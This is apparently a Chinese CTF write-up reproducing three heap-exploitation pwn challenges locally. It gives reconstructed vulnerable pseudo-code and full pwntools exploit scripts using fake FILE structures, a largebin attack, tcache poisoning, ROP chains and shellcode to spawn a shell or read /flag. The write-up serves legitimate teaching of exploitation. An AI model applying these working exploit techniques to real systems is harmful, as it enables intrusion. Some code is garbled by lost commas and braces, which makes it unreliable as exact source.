第九届西湖论剑·网络大赛(pwn篇)本地复现

作者:玄网安全 发布:2026-08-22 13:36 收录:2026-09-21 08:45 2 次阅读 约 2253 字
摘要:第九届西湖论剑·网络大赛(pwn篇)本地复现如果有错误,请大家提醒我说明本文只记录已在本地成功读取 /flag
推荐理由:本文涵盖「Pwn」、「RCE」、「CTF」等多个主题,重点关注 Pwn。

第九届西湖论剑·网络大赛(pwn篇)本地复现

如果有错误,请大家提醒我

说明

本文只记录已在本地成功读取 /flag/flag 的三题:mvmphRegular_applesEZheap_2

附件没有提供原始 C/C++ 源码。各题的“核心源码”为依据对应 ELF 还原的伪 C;完整 payload 为实际运行过的 pwntools 脚本。

source ~/ctf/bin/activate
cd /mnt/e/DasCTF
python <payload>.py

本地 flag:DASCTF{s8scauwd9suwu29ud8sud8}

10746 mvmph

附件:pwnbins/02/vvmmpwnbins/02/libc.so.6
核心源码:02_mvmph.c
完整 Payload:solve_vvmm.py

核心逻辑

程序读入自定义 VM opcode 并解释执行。VM 内存操作缺乏边界约束,opcode 能访问相邻 heap 和 libc 数据。脚本中的 code = bytes.fromhex(...) 是第一阶段完整 opcode payload。

解题思路

  1. 发送第一阶段 opcode,读取返回的 32 字节泄漏,获得两个 heap 地址和 arena 指针。
  2. arena1 - 0x21ace0 得到 libc 基址;使用 heap 地址 B 作为 fake FILE 的落点。
  3. 发送 0x400 字节第二阶段数据,在 B 附近构造 fake _IO_FILE、wide data 与控制字段,使执行流进入 libc 的 setcontext/栈迁移路径。
  4. 脚本进入交互态,发送 cat /flag/flag 获取 flag。

Payload 核心

leak = io.recvn(32)
a, b, arena1, arena2 = unpack_many(leak, 64)
libc_base = arena1 - 0x21ace0
B = b

p = bytearray(0x400)
p[0x88:0x90] = p64(B + 0x300)
p[0xa0:0xa8] = p64(B + 0x100)
p[0xd8:0xe0] = p64(libc_base + 0x2170c0)
io.send(p)

本地结果

DASCTF{s8scauwd9suwu29ud8sud8}

10747 Regular_apples

附件:pwnbins/03/pwnpwnbins/03/libc.so.6pwnbins/03/ld-linux-x86-64.so.2
核心源码:03_regular_apples.c
完整 Payload:solve_regular_apples.py

核心逻辑

程序管理多个 heap apple。释放后的 entry 仍能被 show/edit,能够泄露并改写 freed chunk metadata;结合 largebin 可写入 libc 的 _IO_list_all 链表指针。

解题思路

  1. 释放两个 0x500 chunk,利用 show 泄露 unsorted bin 指针与 heap 指针。show(0) - 0x21ace0 得到 libc 基址。
  2. 在 heap 上依次放置 fake FILE、wide data、wide vtable、ROP、/flag/flag 与缓冲区。
  3. ROP 使用 open -> read -> write 三次 syscall 读取 flag。
  4. 通过 largebin attack 写入 _IO_list_all - 0x20,再接入 fake FILE;新建 entry 触发 FILE flush,wide vtable 将栈迁移到 ROP。

Payload 核心

libc_base = show(0) - OFF_LIBC_LEAK
H0 = show(2)
file2 = H0 + 0x1450

rop = flat(
    libc_base + POP_RAX, 2, libc_base + POP_RDI, path,
    libc_base + POP_RSI, 0, libc_base + SYSCALL_RET,
    libc_base + POP_RAX, 0, libc_base + POP_RDI, 3,
    libc_base + POP_RSI, buf, libc_base + POP_RDX_RBX, 0x800,
    libc_base + SYSCALL_RET,
    libc_base + POP_RAX, 1, libc_base + POP_RDI, 1,
    libc_base + POP_RSI, buf, libc_base + POP_RDX_RBX, 0x800,
    libc_base + SYSCALL_RET,
)
edit(7, p64(0) * 3 + p64(libc_base + OFF_IO_LIST_ALL - 0x20))

本地结果

DASCTF{s8scauwd9suwu29ud8sud8}

10767 EZheap_2

附件:pwnbins/06/附件/ezheappwnbins/06/附件/libc.so.6
核心源码:06_ezheap_2.c
完整 Payload:solve_ezheap2.py

核心逻辑

edit 对用户申请的 buffer 实际写入 requested + 1 字节,导致一字节 heap overflow。借此修改相邻 chunk size,实现 overlap、stdout FILE 泄露与 tcache poisoning。

解题思路

  1. 对 0x18 chunk 执行 off-by-one,把相邻 0x68 chunk 的 size 改成 0xe1;释放再申请获得重叠 chunk,并泄露 PIE。
  2. 再次伪造 size,使可控分配覆盖 stdout。写入 0xfbad1800,读取 stdout FILE 字段,按 stdout - 0x3ed8b0 计算 libc。
  3. 第二组 off-by-one 配合 tcache poisoning,让分配返回 __free_hook,写入 setcontext + 53
  4. fake context 执行 mprotect,ROP 跳到 heap shellcode;shellcode 以 open/read/write 读取 /flag/flag

Payload 核心

edit(0b'\0' * 0x18 + p8(0xe1))
free(1)
add(40xd8)

edit(7, p64(0xfbad1800) + p64(0) * 3 + b'\0')
stdout_fields = io.recvn(16)
libc.address = u64(stdout_fields[8:16]) - 0x3ed8b0

edit(14, p64(setcontext))
free(15)
io.sendline(rop)

本地结果

DASCTF{s8scauwd9suwu29ud8sud8}

汇总

编号
题目
核心源码
完整 Payload
本地读取 flag
10746
mvmph
wp_sources/02_mvmph.csolve_vvmm.py
10747
Regular_apples
wp_sources/03_regular_apples.csolve_regular_apples.py
10767
EZheap_2
wp_sources/06_ezheap_2.csolve_ezheap2.py

附录 A:完整核心伪源码

mvmph

/* Reconstructed from pwnbins/02/vvmm; original C/C++ source was not provided. */
struct vm { unsigned char code[0x400]; unsigned char *heap[8]; size_t ip; } vm;

void run_vm(void) {
    while (vm.code[vm.ip] != VM_HALT) {
        /* Opcode handlers use VM-controlled memory operands without bounds checks. */
        dispatch(vm.code[vm.ip++], &vm);
    }
}

int main(void) {
    read(0, vm.code, sizeof(vm.code));
    run_vm();
    read(0, vm.heap[0], 0x400);
}

Regular_apples

/* Reconstructed from pwnbins/03/pwn; original C/C++ source was not provided. */
struct apple { char *data; size_t size; } apples[16];

void add(void) {
    int i; size_t n;
    scanf("%d%zu", &i, &n);
    apples[i].data = malloc(n);
    apples[i].size = n;
    read(0, apples[i].data, n);
}
void edit(void) int i; scanf("%d", &i); read(0, apples[i].data, apples[i].size); }
void del(void) int i; scanf("%d", &i); free(apples[i].data); }
void show(void) int i; scanf("%d", &i); write(1, apples[i].data, apples[i].size); }
/* Freed entries remain usable, exposing freed-bin metadata. */

EZheap_2

/* Reconstructed from pwnbins/06/附件/ezheap; original C/C++ source was not provided. */
struct chunk { char *data; size_t requested; } chunks[16];

void add(void) {
    int i; size_t n;
    scanf("%d%zu", &i, &n);
    chunks[i].data = malloc(n);
    chunks[i].requested = n;
}
void edit(void) {
    int i; scanf("%d", &i);
    read(0, chunks[i].data, chunks[i].requested + 1); /* off-by-one */
}
void del(void) int i; scanf("%d", &i); free(chunks[i].data); }
void show(void) int i; scanf("%d", &i); puts(chunks[i].data); }

附录 B:完整 Payload 源码

solve_vvmm.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'info'
BIN = '/mnt/e/DasCTF/pwnbins/02/vvmm'
LIBC = '/mnt/e/DasCTF/pwnbins/02/libc.so.6'
io = process(BIN, env={'LD_PRELOAD': LIBC})
libc = ELF(LIBC)

code = bytes.fromhex('8d050f0000050000cc0000030f0000050000cc0000030e01052b01101000000f00010000000f0210000000cc0000010e06052b061010000081018102810381041f02200000001601021f04200000001603040e04010e06050f0000000000cc0000040f00010000000f0210000000cc0000010f00000000000e01030f0200040000cc0000000e0604810081021f02200000001600020e06052b00a00900000e01031b01ffffffff0e02032302200000000e06002b06040000007d010e06002b06080000007d020e06050f0000000000cc000002')
io.recvuntil(b'Please input your opcodes:\n')
io.send(code)
leak = io.recvn(32)
a, b, arena1, arena2 = unpack_many(leak, 64)
libc_base = arena1 - 0x21ace0
B = b

p = bytearray(0x400)
p[0:4] = b' sh\x00'
p[0x88:0x90] = p64(B + 0x300)
p[0xa0:0xa8] = p64(B + 0x100)
p[0xc0:0xc8] = p64(1)
p[0xd8:0xe0] = p64(libc_base + 0x2170c0)
p[0x118:0x120] = p64(0)
p[0x120:0x128] = p64(1)
p[0x130:0x138] = p64(0)
p[0x1e0:0x1e8] = p64(B + 0x200)
p[0x268:0x270] = p64(libc_base + 0x50d70)
io.send(p)
io.sendline(b'cat /flag/flag')
io.interactive()

solve_regular_apples.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'info'
BIN = '/mnt/e/DasCTF/pwnbins/03/pwn'
LIBC = '/mnt/e/DasCTF/pwnbins/03/libc.so.6'
libc = ELF(LIBC)
io = process(BIN, env={'LD_PRELOAD': LIBC})

def add(i, s, c=b''):
    io.sendlineafter(b'>'b'1')
    io.sendlineafter(b'Index', str(i).encode())
    io.sendlineafter(b'Size', str(s).encode())
    io.sendafter(b'Content', c)
def free(i):
    io.sendlineafter(b'>'b'2')
    io.sendlineafter(b'Index', str(i).encode())
def edit(i, c):
    io.sendlineafter(b'>'b'3')
    io.sendlineafter(b'Index', str(i).encode())
    io.sendafter(b'Content', c)
def show(i):
    io.sendlineafter(b'>'b'4')
    io.sendlineafter(b'Index', str(i).encode())
    io.recvuntil(b': \n')
    return u64(io.recvn(8).ljust(8b'\0'))

OFF_LIBC_LEAK = 0x21ace0
OFF_IO_LIST_ALL = 0x21b680
OFF_IO_WFILE_JUMPS = 0x2170c0
POP_RSP = 0x35732
POP_RDI = 0x2a3e5
POP_RSI = 0x2be51
POP_RDX_RBX = 0x904a9
POP_RAX = 0x45eb0
SYSCALL_RET = 0x91316
MOV_RSP_RDX = 0x5a120

add(00x500b'A' * 8); add(10x500b'B' * 8)
add(20x500b'C' * 8); add(30x500b'D' * 8)
free(0); free(2)
libc_base = show(0) - OFF_LIBC_LEAK
H0 = show(2)
add(40x500b'E' * 8); add(50x500b'F' * 8)

file2 = H0 + 0x1450; wide = file2 + 0x100; wvt = file2 + 0x200
rop_addr = file2 + 0x300; path = file2 + 0x400; buf = file2 + 0x410
fake = bytearray(0x100); fake[0:8] = b'TEST\0\0\0\0'; fake[0x28:0x30] = p64(1)
fake[0x88:0x90] = p64(file2); fake[0xa0:0xa8] = p64(wide)
fake[0xd8:0xe0] = p64(libc_base + OFF_IO_WFILE_JUMPS)
wd = bytearray(0xf0); wd[0:8] = p64(libc_base + POP_RSP); wd[8:16] = p64(rop_addr); wd[0xe0:0xe8] = p64(wvt)
wvtb = bytearray(0x80); wvtb[0x68:0x70] = p64(libc_base + MOV_RSP_RDX)
rop = flat(
    libc_base + POP_RAX, 2, libc_base + POP_RDI, path, libc_base + POP_RSI, 0, libc_base + SYSCALL_RET,
    libc_base + POP_RAX, 0, libc_base + POP_RDI, 3, libc_base + POP_RSI, buf, libc_base + POP_RDX_RBX, 0x800, libc_base + SYSCALL_RET,
    libc_base + POP_RAX, 1, libc_base + POP_RDI, 1, libc_base + POP_RSI, buf, libc_base + POP_RDX_RBX, 0x800, libc_base + SYSCALL_RET,
)
chunk = bytearray(0x500); chunk[:0x100] = fake; chunk[0x100:0x1f0] = wd; chunk[0x200:0x280] = wvtb
chunk[0x300:0x300 + len(rop)] = rop; chunk[0x400:0x40b] = b'/flag/flag\0'
add(60x500, bytes(chunk))
add(70x510b'P1' * 4); add(80x500b'G1' * 4); add(90x500b'P2' * 4); add(100x500b'G2' * 4)
free(7); add(110x520b'X' * 8); free(9)
edit(7, p64(0) * 3 + p64(libc_base + OFF_IO_LIST_ALL - 0x20))
add(120x520b'Y' * 8)
f1 = bytearray(0x500); f1[0x58:0x60] = p64(file2); edit(9, bytes(f1))
io.sendlineafter(b'>'b'1'); io.sendlineafter(b'Index'b'13')
print(io.recvall(timeout=5))

solve_ezheap2.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'info'
BIN = '/tmp/ezx/附件/ezheap'
LIBC = '/tmp/ezx/附件/libc.so.6'
LOADER = '/tmp/libc27/lib/x86_64-linux-gnu/ld-2.27.so'
libc = ELF(LIBC)
io = process([LOADER, '--library-path''/tmp/ezx/附件', BIN], cwd='/tmp/ezx/附件')

def add(i, size):
    io.sendlineafter(b'Your choice:'b'1')
    io.sendlineafter(b'index:', str(i).encode())
    io.sendlineafter(b'Size:', str(size).encode())
def edit(i, data):
    io.sendlineafter(b'Your choice:'b'2')
    io.sendlineafter(b'index:', str(i).encode())
    io.sendafter(b'context: ', data)
def free(i):
    io.sendlineafter(b'Your choice:'b'3')
    io.sendlineafter(b'index:', str(i).encode())
def show(i):
    io.sendlineafter(b'Your choice:'b'4')
    io.sendlineafter(b'choose:', str(i).encode())

add(00x18); add(10x68); add(20x68); add(30x18)
edit(0b'\0' * 0x18 + p8(0xe1)); free(1); add(40xd8)
show(4); io.recvuntil(b'\n')
pie = int(io.recvn(14), 16) - 0x202160
free(2)
edit(4b'\0' * 0x68 + p64(0x71) + p64(pie + 0x202020))
add(50x68); add(60x68); add(70x68)
edit(7, p64(0xfbad1800) + p64(0) * 3 + b'\0')
io.recvn(1)
stdout_fields = io.recvn(16)
libc.address = u64(stdout_fields[8:16]) - 0x3ed8b0

rdi = next(libc.search(b'\x5f\xc3')); rsi = next(libc.search(b'\x5e\xc3'))
rdx = next(libc.search(b'\x5a\xc3')); rax = next(libc.search(b'\x58\xc3'))
syscall = next(libc.search(b'\x0f\x05\xc3')); jmp_rsp = next(libc.search(b'\xff\xe4'))
free_hook = libc.sym['__free_hook']; setcontext = libc.sym['setcontext'] + 53
page = free_hook & ~0xfff
frame = (b'\0' * 0x68 + p64(0) + p64(page) + p64(0) * 2 + p64(0x2000)).ljust(0xa0b'\0')
frame += p64(page) + p64(syscall)

add(80x18); add(90x58); add(100x58); add(110x18)
edit(8b'\0' * 0x18 + p8(0xc1)); free(9); add(120xb8); free(10)
edit(12b'\0' * 0x58 + p64(0x61) + p64(free_hook))
add(130x58); add(140x58); edit(14, p64(setcontext))
add(150x400); edit(15, frame); free(15)

shellcode = asm(shellcraft.open('/flag/flag'))
shellcode += asm(shellcraft.read(3, free_hook + 0x3000x40))
shellcode += asm(shellcraft.write(1, free_hook + 0x3000x40))
rop = flat(rdi, page, rsi, 0x1000, rdx, 7, rax, 10, syscall, jmp_rsp, shellcode)
io.sendline(rop)
print(io.recvall(timeout=3))

转载声明:本文转载自原发布平台 (作者:玄网安全), 原文标题《第九届西湖论剑·网络大赛(pwn篇)本地复现》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。